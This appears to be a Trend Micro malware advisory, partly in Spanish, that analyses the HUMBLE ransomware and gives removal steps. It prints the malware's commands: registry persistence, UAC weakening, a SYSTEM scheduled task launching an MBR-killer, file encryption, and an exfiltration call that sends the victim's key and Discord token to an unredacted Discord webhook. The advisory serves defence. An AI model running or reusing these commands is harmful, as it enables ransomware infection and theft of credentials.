Author: Rayven Cervantes   
 

Trojan-Ransom.FileCrypter (IKARUS)

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Ransomware

  • Destructiveness:
    No

  • Encrypted:
    Yes

  • In the wild::
    Yes

  OVERVIEW

INFECTION CHANNEL: Descargado de Internet, Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Elimina archivos para impedir la ejecución correcta de programas y aplicaciones.

  TECHNICAL DETAILS

File size: 1,426,432 bytes
File type: EXE
Memory resident: Yes
INITIAL SAMPLES RECEIVED DATE: 18 февраля 2021
PAYLOAD: Drops files, Deletes files, Displays graphics/image

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega las carpetas siguientes:

  • %User Temp%\{Random 4 Characters}.tmp\
  • %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

)

Infiltra los archivos siguientes:

  • %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp
  • %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\extd.exe -> Trojan.Win32.HUMBLE.A
  • %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.bat -> Failed to run but the purpose is to kill the Task manager
  • %User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe
  • %System Root%\finalwords.tmp -> Will run to drop finalwords.exe -> Deleted afterwards
  • %System Root%\finalwords.exe -> Boot.Win32.KILLMBR.AD
  • %System Root%\Users\home.txt -> Contains OS version and bios version -> Deleted afterwards
  • %System Root%\Users\pathhost -> contains logs of files in %System Root%\Users\

Agrega los procesos siguientes:

  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Payload" /d "powershell.exe start -verb runas "{Malware File Path and Name}" am_admin -WindowStyle hidden" /f
  • REG ADD "HKEY_CLASSES_ROOT\exefile\shell\open\command" /ve /t REG_SZ /d "{Malware File Path and Name} %1 %*" /f
  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewOnDrive" /t REG_DWORD /d 12 /f
  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDrives" /t REG_DWORD /d 12 /f
  • "%System%\mshta.exe" "C:\message.hta"
  • certutil -decode finalwords.tmp finalwords.exe
  • certutil -f -encode %User Profile%
  • schtasks /create /SC ONEVENT /RU "SYSTEM" /EC System /TN IntantKill /TR "powershell.exe start -verb runas C:\finalwords.exe" /RL HIGHEST /MO *[System\EventID=6005] /F
  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "1" /f
  • REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d {Hex Values}
  • wmic os get /value
  • findstr /v "^$"
  • wmic bios get /value
  • %System%\cmd.exe /S /D /c"dir /s /b"
  • findstr /I /R "db exe bat doc docx xls ppx txt css html jpg eps ppt png pdf rar avi zip raw jpeg mp3 wav wma tar epub azw ibook img ani bfc blg cat cer cfg ini part prt 1 2 3 cur cpl crl crt dat db der dll dsn ds dun fnd fng fon font hlp grp isp ins inf key lnk ink msc msi msp msstyles nfo ocx otf p7c pif pm pnf psw qds rdp reg scr sct shs sys theme tmp ttc ttf wav wmdb wme wsc wsf wsh aif aifc aiff adf amf mid mi di miz mp1 mp2 mp3 mtm ogg ogm ra rmi snd stm stz vox wax wm wma wmv ace arj bz bz2 cab gz ha lha lzh r0 tbz tbz2 tgz uu uue zoo xxe bmp bw cdt cpt cgm dcx dib emf gbr gif gih ico iff ilbm jfif jif jpe lbm mac pict pct pic pcx pix pntg psd psp qtif qti rgb rgba tga tif tiff wmf dic diz dochtml hta exc log idx pdf rtf s cp wri wtx pps ppa pothtml ppthtml dot dothtml csv dqy xl asx wvx wm ctt ymg yps asp htm htt js jse jsp mht mhtml php shtm url xml xsl eml mbx msg bin class c h cpp java jar m3u vbs spl swf c++ csharp c# ppsx ps1 shb docm odt svg webp heic"
  • %User Temp%\23BD.tmp\23BE.tmp\extd.exe "/aesencode" "%User Profile" "%User Profile%.a" {Key}
  • %User Temp%\23BD.tmp\23BE.tmp\extd.exe "/rc4" "%User Profile" "%User Profile%.nkext" {Key}
  • %User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe -m ":satellite: New RansomCrypt from Humble User:{User name}Key:||(Generated Key}||. If the infected have discord the Token will be published below." -w https://discord.com/api/webhooks/803443573722710047/DHTqigSoy72GqbbicAGvijeiMetfkvr8QL0UVyVIbp-4tehVd6_cnFln19Z4Ro5R76Ci
  • attrib +r {Malware File Path and Name}
  • attrib +r +s +h /S /D %User Temp%
  • attrib +r + s +h pathhost
  • taskkill /im explorer.exe /f

Técnica de inicio automático

Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
Payload = powershell.exe start -verb runas "{Malware File Path and Name}" am_admin -WindowStyle hidden

Otras modificaciones del sistema

Elimina los archivos siguientes:

  • Files containing the following strings:
    • db
    • exe
    • bat
    • doc
    • docx
    • xls
    • ppx
    • txt
    • css
    • html
    • jpg
    • eps
    • ppt
    • png
    • pdf
    • rar
    • avi
    • zip
    • raw
    • jpeg
    • mp3
    • wav
    • wma
    • tar
    • epub
    • azw
    • ibook
    • img
    • ani
    • bfc
    • blg
    • cat
    • cer
    • cfg
    • ini
    • part
    • prt
    • 1
    • 2
    • 3
    • cur
    • cpl
    • crl
    • crt
    • dat
    • db
    • der
    • dll
    • dsn
    • ds
    • dun
    • fnd
    • fng
    • fon
    • font
    • hlp
    • grp
    • isp
    • ins
    • inf
    • key
    • lnk
    • ink
    • msc
    • msi
    • msp
    • msstyles
    • nfo
    • ocx
    • otf
    • p7c
    • pif
    • pm
    • pnf
    • psw
    • qds
    • rdp
    • reg
    • scr
    • sct
    • shs
    • sys
    • theme
    • tmp
    • ttc
    • ttf
    • wav
    • wmdb
    • wme
    • wsc
    • wsf
    • wsh
    • aif
    • aifc
    • aiff
    • adf
    • amf
    • mid
    • mi
    • di
    • miz
    • mp1
    • mp2
    • mp3
    • mtm
    • ogg
    • ogm
    • ra
    • rmi
    • snd
    • stm
    • stz
    • vox
    • wax
    • wm
    • wma
    • wmv
    • ace
    • arj
    • bz
    • bz2
    • cab
    • gz
    • ha
    • lha
    • lzh
    • r0
    • tbz
    • tbz2
    • tgz
    • uu
    • uue
    • zoo
    • xxe
    • bmp
    • bw
    • cdt
    • cpt
    • cgm
    • dcx
    • dib
    • emf
    • gbr
    • gif
    • gih
    • ico
    • iff
    • ilbm
    • jfif
    • jif
    • jpe
    • lbm
    • mac
    • pict
    • pct
    • pic
    • pcx
    • pix
    • pntg
    • psd
    • psp
    • qtif
    • qti
    • rgb
    • rgba
    • tga
    • tif
    • tiff
    • wmf
    • dic
    • diz
    • dochtml
    • hta
    • exc
    • log
    • idx
    • pdf
    • rtf
    • s
    • cp
    • wri
    • wtx
    • pps
    • ppa
    • pothtml
    • ppthtml
    • dot
    • dothtml
    • csv
    • dqy
    • xl
    • asx
    • wvx
    • wm
    • ctt
    • ymg
    • yps
    • asp
    • htm
    • htt
    • js
    • jse
    • jsp
    • mht
    • mhtml
    • php
    • shtm
    • url
    • xml
    • xsl
    • eml
    • mbx
    • msg
    • bin
    • class
    • c
    • h
    • cpp
    • java
    • jar
    • m3u
    • vbs
    • spl
    • swf
    • c++
    • csharp
    • c#
    • ppsx
    • ps1
    • shb
    • docm
    • odt
    • svg
    • webp
    • heic

Agrega las siguientes entradas de registro:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoViewOnDrive = 12

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoDrives = 12

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\Keyboard Layout
Scancode Map = {Hex Values}

Otros detalles

Hace lo siguiente:

  • The Ransomware sends a report to the Malware Operator’s Discord WebHook Panel via custom-made, Auto-It compiled Discord WebHook binary.
    • https://discord.com/api/webhooks/{BLOCKED}573722710047/{BLOCKED}GqbbicAGvijeiMetfkvr8QL0UVyVIbp-4tehVd6_cnFln19Z4Ro5R76Ci
  • It only delete files present in %User Profile%
  • The Ransomware also displays a lockscreen-style of ransom note
  • The Ransomware will execute when attempting to run any other executable.
  • extd.exe will be used as encryptor of the files affected

  SOLUTION

Minimum scan engine: 9.800
First VSAPI Pattern File: 16.546.04
First VSAPI Pattern Release Date: 18 de февраля de 2021
VSAPI OPR PATTERN-VERSION: 16.547.00
VSAPI OPR PATTERN DATE: 19 de февраля de 2021

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Reiniciar en modo seguro

[ learnMore ]

Step 4

Eliminar este valor del Registro

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

 
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • DisableTaskMgr - 1
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout
    • Scancode Map - {Hex Values}

Step 5

Restaurar este valor del Registro modificado

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

  • In HKEY_CLASSES_ROOT\exefile\shell\open\command
    • From: = {Malware File Path and Name} %1 %*
      To: = %1 %*
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • From: PromptOnSecureDesktop = 0
      To: PromptOnSecureDesktop = 1
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • From: ConsentPromptBehaviorAdmin = 0
      To: ConsentPromptBehaviorAdmin = 1

    • Step 6

    Eliminar las tareas programadas que ha añadido este malware/grayware/spyware

    [ learnMore ]

    Para eliminar el archivo de la tarea programada:

    1. Haga clic en Inicio>Programas>Accesorios>Herramientas del sistema>Tareas programadas
    2. Haga doble clic en un archivo .JOB.
    3. Compruebe si el valor del campo Ejecutar: contiene el/los nombre(s) del/de los archivo(s) que se ha(n) eliminado anteriormente.
    4. Si es así, seleccione el archivo .JOB y, a continuación, pulse MAYÚS+SUPR para eliminar el archivo definitivamente.
    5. Repita los pasos del 2 al 4 para los archivos .JOB restantes.

    Step 7

    Buscar y eliminar esta carpeta

    [ learnMore ]
    Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todas las carpetas ocultas.
    • %User Temp%\{Random 4 Characters}.tmp\
    • %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\

    Step 8

    Buscar y eliminar estos archivos

    [ learnMore ]
    Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción "Más opciones avanzadas" para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.
    • %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp
    • %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\extd.exe
    • %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.bat
    • %User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe
    • %System Root%\finalwords.exe
    • %System Root%\Users\pathhost
    DATA_GENERIC_FILENAME_1
  • En la lista desplegable Buscar en, seleccione Mi PC y pulse Intro.
  • Una vez haya encontrado el archivo, selecciónelo y, a continuación, pulse MAYÚS+SUPR para eliminarlo definitivamente.
  • Repita los pasos 2 a 4 con el resto de archivos:
      • %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp
      • %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\extd.exe
      • %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.bat
      • %User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe
      • %System Root%\finalwords.exe
      • %System Root%\Users\pathhost

    • Step 9

    Restaurar archivos a partir de una copia de seguridad Solo se pueden restaurar los archivos relacionados con Microsoft. En caso de que este malware/grayware/spyware también haya eliminado archivos relativos a programas que no sean de Microsoft, vuelva a instalar los programas en cuestión en el equipo.

    Step 10

    Reinicie en modo normal y explore el equipo con su producto de Trend Micro para buscar los archivos identificados como Ransom.Win32.HUMBLE.THBAGBA En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


    Did this description help? Tell us how we did.